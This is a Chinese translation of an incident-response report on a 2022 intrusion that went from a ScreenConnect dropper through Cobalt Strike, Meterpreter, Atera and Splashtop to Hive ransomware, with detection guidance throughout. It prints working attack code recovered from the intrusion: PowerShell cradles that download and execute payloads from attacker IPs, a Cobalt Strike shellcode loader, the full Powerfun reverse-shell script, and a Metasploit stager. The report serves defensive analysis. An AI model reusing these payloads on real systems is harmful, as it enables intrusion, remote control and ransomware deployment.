【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

admin 2024年4月28日11:05:10评论9 views字数 27288阅读90分57秒阅读模式
欢迎访问语雀知识库,获取最佳阅读体验:
https://www.yuque.com/safestplace/zh4qn2/vytryht5m7i6rw7u
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件
摘要

2022年终总结报告中提到过,在后渗透阶段,使用合法的远程控制工具在如今的入侵活动中非常流行。比起依赖于传统渗透工具Cobalt Strike或Metasploit,合法远程控制工具既提供了友好的图形化交互界面,也提供了很好的防追踪性,因为远程控制工具无需搭建C2服务器。并且合法远程控制工具都具有正常的签名,一般杀软是不会查杀的,这也免去了绕过杀软的问题。

2022年,各个行业发生的入侵案例中,合法远程控制工具的使用都在增加,以至于CISA都发布了远程控制软件滥用防护指南。

这次发生在2022年Q4的入侵案例中攻击组织使用了多个合法远控工具。并最终部署hive勒索软件(现已被FBI捣毁)

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件
技术总结

这次入侵发生在2022年10月,攻击者在边界突破阶段投递的程序捆绑了一个远程控制工具,并最终部署了hive勒索软件。攻击者最初投递的是一个伪装成文档的可执行文件。依据Huntress的分析,这很可能来自于钓鱼邮件攻击活动。钓鱼邮件中包含了一个链接,点击后会下载可执行文件。

受害者打开了下载的可执行文件,受害者的终端就会安装ScreenConnect远程控制工具。我们在分析时发现,这种手法攻击成功的前提是,运行可执行文件的用户必须具有管理员权限,否则会导致ScreenConnect安装失败。在程序被执行一小时后,攻击者开始通过ScreenConnect进行第一轮基础信息收集,这里用到了Windowes自带命令systeminfo,ipconfig,net等。几分钟后,攻击者通过执行BITS job来下载Cobalt Strike载荷。并建立Cobalt Strike会话。

攻击者休息了一个小时后,使用ScreenConnect投递了一个新的二进制文件,这个文件伪装成ApacheBench可执行文件,实际上是包含Metasploit Shellcode的木马。在执行这个文件后,会创建一个Meterpreter会话。此后攻击者通过远程服务执行PowerShell, Atera和Splashtop安装包横向移动到一台服务器上。并且再次通过BITS jobs建立Cobalt Strike会话。20分钟后,攻击者继续使用impacket中的wmiexec.py进行横向移动,包括运行quser检测远程主机,使用BITS jobs建立Cobalt Strike会话。

次日,攻击者使用wmiexec远程在一些服务器上运行Mimikatz,几小时过后,攻击者继续在一些服务器上建立Cobalt Strike会话。攻击者通过Cobalt Strike会话执行了一些内网探测命令。

又过了一天,攻击者通过一个批处理脚本执行内置的PowerShell脚本道出了AD域数据。当天傍晚攻击者开始通过RDP远程登录一些服务器,并开始寻找网络共享和备份服务器。之后,攻击者在文件共享服务器上传了Rclone,并在文件共享服务器上外联了一个SFTP服务器,开始外传窃取到的文件。与此同时,攻击者又上传了netscan工具对内网进行扫描,并且重点关注RDP端口。

三个小时后,攻击者开始进行最后的攻击行为,部署hive勒索软件。他们首先修改了管理员密码,之后再一些关键服务器上手动运行了hive勒索软件。之后,为了实现全AD域加密,他们将勒索上传至文件共享服务器,并创建了一个全AD域范围的组策略,这个组策略被设置为每一个加入域的域主机都要运行一个计划任务以执行勒索软件。

由于组策略和计划任务配置错误,最终并没有导致全AD域被勒索加密,仅仅是一些关键服务器被手动运行的勒索软件加密。从攻击者边界突破成功到启动应急响应,已经过去61小时。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件
入侵路径分析
01
边界突破
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

这次入侵起因是受害者运行了document8765.exe程序,据Huntress分析,这个恶意文件是因为受害者访问了这个链接造成的。https[:]//environmentca[.]com/bkh6q.,按Huntress的证据分析,这个站点是从outlook进程发起的访问,因此极大可能来源于钓鱼邮件攻击。

02
执行
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

ScreenConnect

要检测用户下载的文件有许多中技术实现,微软依赖于MOTW标记,而更简单的方式是监控用户的%USERPROFILE%Downloads目录。我们可以从事件ID:4688进程创建日志。或Sysmon的事件ID:1进程创建日志监控从这个目录创建的进程。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

恶意软件执行后,会在%TEMP%目录下创建一个Windows Installer文件(*.msi)并使用msiexec.exe运行这个文件。如下图所示。当安装程序运行后,恶意软件的进程就终止了。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

由于没有使用/q参数,导致安装程序执行对用户是可见的,这一点可以在Recorded Future的Triage沙箱中观察到。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

安装程序会在终端上安装合法的远程控制软件ScreenConnect,在安装过程中有一些调用msiexec.exe和rundll32.exe,但由于这一系列调用都源于安装合法工具ScreenConnect,因此这里不详细展开。值得一提的就是ScreenConnect的安装路径:%ProgramFiles(x86)%ScreenConnect Client (0e2f8d025e383f56) 。其中0e2f8d025e383f56是安装指纹。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

ScreenConnect的权限维持和C2通信将在后面的部分讨论。ScreenConnect连接建立成功后,攻击者就能通过远程控制工具内置的功能执行命令。ScreenConnect会将要执行的命令以脚本文件的形式保存在本地,这个特征可以通过Sysmon的事件ID:11,和Windows事件ID:4688,Sysmon事件ID:1观察到,

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

攻击者执行了一些命令,包括大部分的内网探测命令和一些PowerShell脚本。

Cobalt Strike

在入侵发生 1 小时 22 分钟后,攻击者通过 ScreenConnect 执行PowerShell部署 Cobalt Strike。

powershell.exe -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://31.41.244.192:80/96945jgjf' -Destination $d; $t = [IO.File]::ReadAllText($d); Remove-Item $d; IEX $t } -Argument 0 | wait-job | Receive-Job" 

由于使用HTTP通信,我们在网络连接中可以得到具体的载荷。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

与上面的功能类似,攻击者还尝试执行了下面的命令:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://31.41.244.192:80/645gkdkfgd'))"

得到的请求结果如下:

Set-StrictMode -Version 2$DoIt = @'function func_get_proc {  Param (    $var_module_name, $var_procedure_name  )  $var_system_dll = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.Location -And $_.Location.Split('\')[-1].Equals('System.dll') -And $_.GlobalAssemblyCache }  $var_microsoft_win32_unsafe_native_methods = $var_system_dll.GetType('Microsoft.Win32.UnsafeNativeMethods')  $var_get_module_handle = $var_microsoft_win32_unsafe_native_methods.GetMethod('GetModuleHandle')  $var_get_proc_address = $var_microsoft_win32_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'System.String'))  $var_module_handle = $var_get_module_handle.Invoke($null, @($var_module_name))  return $var_get_proc_address.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), $var_module_handle)), $var_procedure_name))}function func_get_type {  Param (    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameter_types,    [Parameter(Position = 1)] [Type] $var_return_type = [Void]  )  $var_invoke_method = 'Invoke'  $var_type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflectss, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])  $var_type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameter_types).SetImplementationFlags('Runtime, Managed')  $var_type.DefineMethod($var_invoke_method, 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameter_types).SetImplementationFlags('Runtime, Managed')  return $var_type.CreateType()}$var_base64 = 'i0QkBIuInAAAA[...]AAAAAAA='$var_result = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc kernel32.dll LoadLibraryA), (func_get_type @([String]) ([IntPtr]))).Invoke('crypt32.dll')$var_string_to_binary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc crypt32.dll CryptStringToBinaryA), (func_get_type @([String], [UInt32], [UInt32], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [IntPtr]) ([Bool])))$var_length = 0$var_result = $var_string_to_binary.Invoke($var_base64, $var_base64.Length, 0x1, [IntPtr]::Zero, [Ref]$var_length, [IntPtr]::Zero, [IntPtr]::Zero)$var_create_mapping = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc kernel32.dll CreateFileMappingA), (func_get_type @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32], [IntPtr]) ([IntPtr])))$var_handle = $var_create_mapping.Invoke(-1, [IntPtr]::Zero, 0x08000040, 0x0, $var_length, [IntPtr]::Zero)$var_map_view = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc kernel32.dll MapViewOfFile), (func_get_type @([IntPtr], [UInt32], [UInt32], [UInt32], [IntPtr]) ([IntPtr])))$var_map = $var_map_view.Invoke($var_handle, 0x000F003F, 0, 0, $var_length)$var_result = $var_string_to_binary.Invoke($var_base64, $var_base64.Length, 0x1, $var_map, [Ref]$var_length, [IntPtr]::Zero, [IntPtr]::Zero)$var_invoke = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_map, (func_get_type @([IntPtr]) ([Void])))$var_invoke.Invoke($var_map)'@Switch ([intptr]::Size) {  4 {    IEX $DoIt  }  8 {    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job  }}

我们使用cobaltstrike-config-extractor从Cobalt Strike 进程内存中提取到的配置信息如下

{  "beacontype": [    "HTTP"  ],  "sleeptime": 60000,  "jitter": 0,  "maxgetsize": 1048576,  "spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",  "license_id": 1580103824,  "cfg_caution": false,  "kill_date": null,  "server": {    "hostname": "31.41.244.192",    "port": 80,    "publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnCZHWnYFqYB/6gJdkc4MPDTtBJ20nkEAd3tsY4tPKs8MV4yIjJb5CtlrbKHjzP1oD/1AQsj6EKlEMFIKtakLx5+VybrMYE+dDdkDteHmVX0AeFyw001FyQVlt1B+OSNPRscKI5sh1L/ZdwnrMy6S6nNbQ5N5hls6k2kgNO5nQ7QIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="  },  "host_header": "",  "useragent_header": null,  "http-get": {    "uri": "/fwlink",    "verb": "GET",    "client": {      "headers": null,      "metadata": null    },    "server": {      "output": [        "print"      ]    }  },  "http-post": {    "uri": "/submit.php",    "verb": "POST",    "client": {      "headers": null,      "id": null,      "output": null    }  },  "tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",  "crypto_scheme": 0,  "proxy": {    "type": null,    "username": null,    "password": null,    "behavior": "Use IE settings"  },  "http_post_chunk": 0,  "uses_cookies": true,  "post-ex": {    "spawnto_x86": "%windir%\syswow64\rundll32.exe",    "spawnto_x64": "%windir%\sysnative\rundll32.exe"  },  "process-inject": {    "allocator": null,    "execute": [      "CreateThread",      "SetThreadContext",      "CreateRemoteThread",      "RtlCreateUserThread"    ],    "min_alloc": 0,    "startrwx": true,    "stub": "IiuPJ9vfuo3dVZ7son6mSA==",    "transform-x86": null,    "transform-x64": null,    "userwx": true  },  "dns-beacon": {    "dns_idle": null,    "dns_sleep": null,    "maxdns": null,    "beacon": null,    "get_A": null,    "get_AAAA": null,    "get_TXT": null,    "put_metadata": null,    "put_output": null  },  "pipename": null,  "smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",  "stage": {    "cleanup": false  },  "ssh": {    "hostname": null,    "port": null,    "username": null,    "password": null,    "privatekey": null  }}

Powerfun

大约 40 分钟后,即入侵发生两小时零七分钟后,攻击者使用基于 System.Net.WebClient 的 DownloadFile 功能下载了另一个木马到%temp%P6nqEdwk.exe。 该木马是从 http://94.232.43[.]201:8080/dQhNZOV3Qm 下载并随后执行的。

powershell.exe -nop -w hidden -c [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$z="echo ($env:temp+'P6nqEdwk.exe')"; (new-object System.Net.WebClient).DownloadFile('http://94.232.43.201:8080/dQhNZOV3Qm', $z); invoke-item $z

Sysmon 的进程创建事件 1(或者安全事件 4688)捕获了父子关系,如下所示。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

经检查,该木马可执行文件似乎基于 ApacheBench 2.3(一个合法的 HTTP 基准测试实用程序)。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

不过这个ApacheBench可执行文件已经被篡改了,它被嵌入了PowerShell载荷。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

执行ApacheBench后,PowerShell载荷也会执行。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

对PowerShell载荷进行解码,我们发现这个载荷是Powerfun 反弹Shell,看上去是Metasploit的一部分(因为使用了默认的4444端口)。这种特定格式的 PowerShell 反向 shell 是在v4.11.7版本(2015 年 5 月 19 日)中引入的,这表明攻击者部分依赖于过时的工具。 该脚本后来在v6.3.23(2021 年 11 月 30 日)中进行了修改。

# Powerfun - Written by Ben Turner & Dave Hardyfunction Get-Webclient {    $wc = New-Object -TypeName Net.WebClient    $wc.UseDefaultCredentials = $true    $wc.Proxy.Credentials = $wc.Credentials    $wc}function powerfun {     Param(     [String]$Command,    [String]$Sslcon,    [String]$Download    )     Process {    $modules = @()      if ($Command -eq "bind")    {        $listener = [System.Net.Sockets.TcpListener]4444        $listener.start()            $client = $listener.AcceptTcpClient()    }     if ($Command -eq "reverse")    {        $client = New-Object System.Net.Sockets.TCPClient("94.232.43.201",4444)    }    $stream = $client.GetStream()    if ($Sslcon -eq "true")     {        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))        $sslStream.AuthenticateAsClient("94.232.43.201")         $stream = $sslStream     }    [byte[]]$bytes = 0..20000|%{0}    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")    $stream.Write($sendbytes,0,$sendbytes.Length)    if ($Download -eq "true")    {        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")        $stream.Write($sendbytes,0,$sendbytes.Length)        ForEach ($module in $modules)        {            (Get-Webclient).DownloadString($module)|Invoke-Expression        }    }    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')    $stream.Write($sendbytes,0,$sendbytes.Length)    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)    {        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding        $data = $EncodedText.GetString($bytes,0, $i)        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '        $x = ($error[0] | Out-String)        $error.clear()        $sendback2 = $sendback2 + $x        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)        $stream.Write($sendbyte,0,$sendbyte.Length)        $stream.Flush()      }    $client.Close()    $listener.Stop()    }}powerfun -Command reverse -Sslcon true

反弹Shell与94.232.43[.]201:4444 建立TCP连接后,攻击者通过Shell执行了两个不同的PowerShell载荷,基于进程创建的时间和同时存在的WerFault.exe进程,我们判断第一个载荷在运行八分钟后多次崩溃,攻击者不得不再次运行。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

虽然这两个命令的混淆方式有所不同,但它们最终执行相同的shellcode,如下所示。

/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmhe6CvJaAIAEVGJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAz/Tgh17GjwtaJW/9VqAGoEVldoAtnIX//VizZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//VAcMpxnXuww==

此 shellcode是分阶段载荷的加载器,执行从使用 94.232.43[.]201:4433 建立的 Websocket 下载的载荷。 NVISO 已记录了类似的shellcode 及其 API 哈希算法(包括彩虹表)的分析。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

有多种工具可用于帮助分析 shellcode,其中之一是 scdbg。 该工具能够分析代码并提供有关其功能的有用信息。 通过使用scdbg分析shellcode,我们可以获得所需的远程服务器的主机和端口。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

与明文HTTP 的情况一样,我们也可以获取到明文的Websocket网络数据包。 在此意义上,websocket stager 会检测载荷的大小(小端字节序中的 0x02b043),载荷大小后面的部分是载荷本身。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

从网络数据包中提取载荷,我们发现它与 Florian Roth 检测反射加载器以及内存 Meterpreter 的两条 YARA 规则相匹配。

Atera

攻击者在边界突破的跳板机上使用的合法远程控制工具是ScreenConnect,但通过跳板机横向移动后,使用的合法远程控制工具却换成了Atera

Atera安装程序是从一个Cobalt Strike会话中执行的,命令为C:WindowsSystem32msiexec.exe /i "C:programdatasetup.msi"。从Atera安装程序中我们得到了攻击者使用的邮箱账户为[email protected],账户ID是0013z00002rytAiAAI.

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

通过Atera的实时命令提示符功能,攻击者执行了大量命令提示符。 可以通过 %ProgramFiles%ATERA NetworksAteraAgentPackagesAgentPackageRunCommandInteractiveAgentPackageRunCommandInteractive.exe 启动的进程观察命令提示符的创建行为。 在整个入侵过程中,所有交互式命令都使用 cmd.exe 解释器。 使用安全日志的进程事件(事件 4688),我们观察到了攻击者的执行操作和窃取数据操作。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

Splashtop

虽然 Atera 提供脚本编写等管理功能,但无人值守的远程访问需要第三方集成。 在整个入侵过程中,攻击者依赖 Atera 推荐的 Splashtop 集成。

使用文件和进程创建日志(即 Sysmon 的事件 11 和 1 ),我们可以观察 Atera 的 AgentPackageSTRemote.exe 如何启动 Splashtop 的部署,从而使攻击者能够获得无人值守的远程交互访问。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

查看 Windows 事件日志通Splashtop-Splashtop Streamer-Status/Operational 中 Splashtop 的日志记录可以看到攻击者正在使用的 RMM ID。

RMM_ID: hZCDFPhK75mJ

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

Impacket

作为其工具包的一部分,攻击者使用 Impacket 的 wmiexec.py 脚本来执行他们的操作。wmiexec.py 默认情况下会将其输出重定向到 \127.0.0.1ADMIN$__%timestamp% (如源代码中所示)。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

03
权限维持
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

ScreenConnect

作为安装过程的一部分,ScreenConnect 通过自动启动服务维持权限。从系统事件 7045(系统中安装了服务)可以检测到这个行为。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

如果系统事件不可用,Sysmon 注册表值设置事件(事件 13)也可以检测到。 如下所示,我们可以通过这些值推断出服务的启动模式:

  • Typeof data 0x10(SERVICE_WIN32_OWN_PROCESS)

  • Startof data 0x2(SERVICE_AUTO_START)

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

尽管Sysmon记录的ImagePath不够完整,我们仍然可以通过Eric Zimmerman开发的注册表浏览器查看到完整内容。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

Anomali Threat 研究了完整的命令行的参数功能如下:

  • e 会话类型,取值范围:Support, Meeting, Access .

  • y 进程类型, 取值范围:Guest, Host .

  • h 指定代理服务URL.

  • p 指定代理端口

  • s 指定客户端唯一ID

  • k 指定用于身份认证的加密密钥

  • t 指定会话名称

"C:Program Files (x86)ScreenConnect Client (0e2f8d025e383f56)ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-l7l8l9-relay.screenconnect.com&p=443&s=f1dccbe5-0865-4f1c-a463-9e25663d18d1&k=BgIAAACkAABSU0ExAAgAAAEAAQC9cxw5UA763FPcVEu4K7lTUZPe40uWy%2fdpeqfjnhw6qPCnMz1zFVt6J1HHp%2b9%2fhXseaHv7tHKfAevkRMosxtdVUlRlFjGO1E0lztj6BuXXY3hOn%2b9zOMiD85jSb5nrrk4O4IhgV9GNihZS3aAMUcTWlSUzCOGSECigjs5Sg8kxq5CHz1RuGp6Wbv7SO9LEriAGZj%2fYQU%2fq0X9%2bFDnKAKtBYkUdW3Muf9ewnItCRM9XErqohYafqh04mlqluyGqfx%2bAMezEuQDgFHQPIurisVhSinHWRCO4WDLKpaoeWneMJ3BMj6ReFvhaXVGW0u%2fPMkXzYLB2sMMBcibeuJV1yczL&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAQvvF3IURJU6YGnF7BiJwogAAAAACAAAAAAAQZgAAAAEAACAAAACqA7fRdCVSQQS%2bln7kPcL3Yr8FtoKz3%2fyztuVPXWhifgAAAAAOgAAAAAIAACAAAADfm%2b0yGLK3YmRYzydHC3OvJWlNwe8O2kNKxHqVXATSaaAEAADExpelIJ42A%2bmy3CqMzSNMfDDHLKfeVHAXqYi92UDuffufwuxI6hMNFfCGXwR%2fndw4CeU0AaoR4STjLsx7DhTUDnuspGicxlqoRTM%2bUmC1VN8mbfLBHx7SKMzJYWAwMM%2bfIbevg%2bXdhUrQRKuFsOU6VsOi6a7HFsFjMrF0HXzSlPJZILQ5C0tmPB%2bowunqV2JP3PDhxqI%2fgR5AoubdVIC8ZpsckrDk0tm5ARaDYpTxYxQMJ5acToCrRodGjvgRzddPywGYYvnTFxyS%2bZOwxz3TicTva8Tkx8PaXNNyckViUb%2bk3s102XEbFtqiD9NtnMPYhzmAAdqL4UR6ELqJrYX7Y%2f87XVJmzFtDdyYIufC1S3w6lVHDOlGS%2bvxtANiaRGWY%2bdZGpj75%2f8YlPAcctJioE4LefyqZKRhDjWG4OwVmCfKUcmnoLzEwZXFiXMkm4nPe4lBWL7xdsX5h4lcBjNevPvwN0K4%2bsE%2fC9jUONr3r9JiZc6V7RJOwfACO9AukfBzQOyfsb6KD%2b6tWKc%2fQ5rAPr4MtKqgA17CmSIJIRnLA5HDBMrybFaLAs5EfnFHAbS2UJpHMiXNIwEEksFM65hIN4OKrHnIjadBT8OzL2XCk9bRwSNUfkV7IkKbnJA%2bFm3iIlibtMnx3UkcNWYFiBObGjWY1eGzcOusEsAt4oZUVeMxiLUrpYZrGOFtqp1Mm4z5JEst4Bx3sYuQxxKrjs9pF9C9kgpj3Hhresa7b64pIu7SWku14fXjA1VxyYUg52vYoXzxWvn99hsF47CXOkGnQUhPWZkUFA75OCKh0Qp1yoZTyW7HI1MqV4A7Sw%2ftiyK13vPiKhRAojufru7axnGsthZ3eG62TxSD6q3uoBmy6G9lDdCQvi946unMf70FDmfRye2p8%2f2cBmqWe%2fpdzXIWqy%2bRwclHOOf4d5i%2fAZYzN%2fuvKayxkYwOMYo2bI8YwwYgWsRSQUmtsD1Q9%2bYG%2bpZtGvTkpdmsNzIzWNxg7LZUr3l2JqFdwlYgK3peySScsbRRxUuB6aIlxSoDvXo5KtDiKfxnkridOz4iz5T5yk7QJfSEEMnvmep0T4a75KvgZeMWd%2fUj4SKbG3v%2bDA2ZxVSFbktcAur8rkpDwqLwTUjYnvqJG%2bl%2blEgGHRsi5GxxlnM9k6IkCMACku40jzCYSvHOhFtimnMTmf2XOwavP32025803AMFp%2b5vrZ5rASeRNbos1EJi6LD8kdsJUkyShEKByaULaDhAFw3RglgiBxCCbGQPJHkd4ctpUeQmDPvu6IuMtw3mvNU%2fPKtzKcF6%2bqDjCkoF%2fWCHykMjSr37d%2fGrYEIB8ddw173TWYsG9Ei0%2boHEWjEvoAbtUcIxSN%2f4KZ0zUFdC79EOUQcnO1FiHZZHJJhUvLqD7ooZMp2S1%2f%2bpFFMmJC5hAZ3HBQHJjxLV6LWOYfkrDYsgf8D%2bWObpD9JPsgC5G%2fnmG8d9ArdlHBsOM2WobtioC4kdINw2JM6uqMvRAoCqkxrDmwQBkdbkIYLQOcAxhp7%2bj0KOnJ81ieO6Q4BmEUVcZpmmKKc8gV54eNKKr6EU%2fWgvqcmiCwv38i0h5J0AAAADebuB1klSTYkUNnr4J2kDkx0KsClquUNNxOifeVYIq4dqVz4jQZETw5fHbwxKP4Yxv4XZ2yxLM%2f%2b5iIuUFwyWT&t=&c=&c=&c=&c=&c=&c=&c=&c="

Atera

与 ScreenConnect 的权限维持类似,Atera 被持久化为自动启动的自有进程服务。 使用系统事件 7045 也可以观察到这一点。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

04
权限提升
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

ScreenConnect, Atera

ScreenConnect 和 Atera 作为服务安装,本身就具有SYSTEM权限。 依靠服务来获取系统级权限是合法工具(例如 PsExec 的-s)和恶意工具(例如 Metasploit 的 getsystem)中经常使用的技术部分。

可以通过 Sysmon 的事件 1 以及父进程为 C:WindowsSystem32services.exe 的内置安全事件 4688 来识别服务执行。 从下面的捕获中可以看出,这些服务执行作为本地SYSTEM权限 (SID S-1-5-18) 运行。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

05
防护绕过
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

进程注入

正如在几乎所有入侵中观察到的那样,进程注入被用来伪装恶意行为的真正来源。针对进程注入的检测方式有很多,例如 Sysmon 的:

  • 事件ID 10 (进程访问), 常见于对已有进程进行注入

  • 事件ID 8 (创建远程线程).

  • 事件ID1 (进程创建)

正如我们的“Cobalt Strike防护指南”系列中提到的,进程注入可以通过创建的 (postex_*) 命名管道(Sysmon 事件 17 和 18来检测。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

通过使用Malpedia的win_cobalt_strike_auto规则对内存扫描,发现了以下进程被注入:

Host

Pid

Process

Commandline

Rule

SERVER

1808

svchost.exe

C:Windowssystem32svchost.exe -k netsvcs

win_cobalt_strike_auto

DOMAINCONTROLLER

656

lsass.exe

C:Windowssystem32lsass.exe

win_cobalt_strike_auto

FILE SHARE

572

winlogon.exe

winlogon.exe

win_cobalt_strike_auto

FILE SHARE

2052

spoolsv.exe

C:WindowsSystem32spoolsv.exe

win_cobalt_strike_auto

FILE SHARE

2184

svchost.exe

C:Windowssystem32svchost.exe -k ftpsvc

win_cobalt_strike_auto

删除工具

在整个入侵过程中,攻击者通过删除投递的恶意软件来掩盖他们的痕迹。 正如 Sysmon 事件 23(文件删除)所述,一些操作由 stagers 和 RMM 实用程序自动执行。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

另外,进程创建日志显示了攻击者通过本机手动执行了一些del命令。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

06
凭证窃取
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

LSASS 转储

在整个入侵过程中,攻击者多次访问 LSASS,这种模式通常用于凭证转储和注入。 从下面的截图中可以看出,攻击者的行为甚至导致 LSASS 在一台主机上崩溃。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

为了转储LSASS,攻击者投递了名为m2.exe的可执行文件,看上去是自行编译的Mimikatz程序,我们可以使用mimikatz 仓库提供的Yara规则进行扫描。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

通过动态分析,我们确认m2.exe被设置为执行时自动运行privilege::debug和sekurlsa::logonpasswords 命令而无需攻击者手动输入。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

虽然我们发现了大部分主机上执行LSASS转储的操作,但仍然不知道最初跳板机的本地管理员凭证是如何被窃取的。

07
内网探测
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

ScreenConnect

作为初步发现的一部分,攻击者利用 ScreenConnect 执行命令来获取系统、网络、用户和域管理员信息。 此活动通常可以通过进程创建日志(Security 4688 和 Sysmon 1)进行检测。

